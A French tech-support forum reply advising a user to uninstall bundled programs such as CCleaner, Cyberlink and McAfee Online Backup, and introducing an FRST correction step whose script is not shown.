Salut,

Tu as des programmes qui ont été installés à l'achat de l'ordinateur ou installés par la suite et qui sont pas forcément utiles.
Ils encombrent Windows et peuvent le ralentir.
Tu peux donc les désinstaller.
Vas dans le Panneau de configuration
puis programmes et fonctionnalités.
Désinstalle :

CCleaner
Cyberlink
McAfee Online Backup


PS : CCleaner n'est pas vraiment utile, même si on le recommande de partout.
Désactive la surveillance de CCleaner, inutile, ça se met au démarrage de Windows et le ralentit avec ces nettoyages incessants, voir : https://www.malekal.com/supprimer-ccleaner-demarrage-windows/

Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.
Relance FRST puis sur ton clavier appuyer sur la touche CTRL + Y.
Le bloc-note va s'ouvrir, copie/colle ceci.
